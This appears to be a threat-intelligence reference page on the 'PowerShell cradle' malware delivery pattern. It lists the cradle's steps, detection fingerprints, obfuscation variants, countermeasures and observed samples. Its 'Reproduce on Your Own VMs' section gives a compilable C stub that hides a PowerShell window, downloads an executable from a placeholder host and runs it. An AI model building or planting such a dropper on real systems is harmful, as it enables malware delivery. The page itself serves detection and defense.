powershell-cradle-downloader

A malware delivery pattern where a compiled binary (PE, .NET, or script) calls powershell.exe -Command (or -EncodedCommand) to execute a one-line or multi-statement payload string inline. The PowerShell string is often embedded as a wide-character literal in the binary's .rsrc or .data section and passed to ShellExecuteW, CreateProcessW, or WinExec. The cradle typically performs:

1. Disabling security controls (Defender exclusion, firewall rules).
2. Creating a staging directory.
3. Downloading one or more payloads via curl, Invoke-WebRequest, or bitsadmin.
4. Executing the downloaded payload.
5. Establishing persistence via registry or scheduled tasks.

Detection / Fingerprint

• Parent process is powershell.exe spawned by a PE with very few imports (often just KERNEL32 + SHELL32).
• CommandLine contains a long Base64 block or a concatenated string with Add-MpPreference, curl, -OutFile, and Start-Process.
• No network traffic from the parent PE — all HTTP/S connections are delegated to the PowerShell child.

Implementation Patterns

• Inline UTF-16LE string: Stored in .rsrc (RT_STRING or raw blob) and passed directly to ShellExecuteW as the lpParameters argument. Example: gerador-loader stores the cradle at file offset 0x12378 as a UTF-16LE blob. ^[/intel/analyses/55db75449ac68bd35e56ee3bf300f7ebbcb80484cce57e523b583d49d0c85a99.html]
• Base64-encoded block: The binary decodes a Base64 string into memory before spawning PowerShell with -EncodedCommand.
• Environment-variable obfuscation: The cradle is split across multiple set commands in a .bat wrapper, then reassembled via %VAR% expansion before being passed to PowerShell.

Reproduce on Your Own VMs

Compile a minimal C stub:

#include <windows.h>
#pragma comment(lib, "shell32.lib")
int main() {
    ShellExecuteW(NULL, L"open", L"powershell.exe",
        L"-Command \"curl -Uri 'http://YOUR.IP/payload.exe' -OutFile 'C:\\temp\\p.exe'; Start-Process 'C:\\temp\\p.exe'\"",
        NULL, SW_HIDE);
    return 0;
}

Run cl /Fe:stub.exe stub.c. Resulting binary has ~2 imports (KERNEL32 + SHELL32) and no network activity of its own. Compare against real samples by checking for the powershell.exe child and its command line.

Defensive Countermeasures

• Block powershell.exe child processes spawned by unexpected parent binaries (e.g., Word, Acrobat, or unknown PEs).
• Hunt for Add-MpPreference in PowerShell command lines.
• Enable ASR rule "Block Office applications from creating child processes" and "Block executable content from email client and webmail" where applicable.

Pages Where Observed

• gerador-loader — Brazilian MSVC stub using this exact pattern
• 54e64e — MSVC null-padded dropper with Defender exclusion + HTTP fetch via PowerShell cradle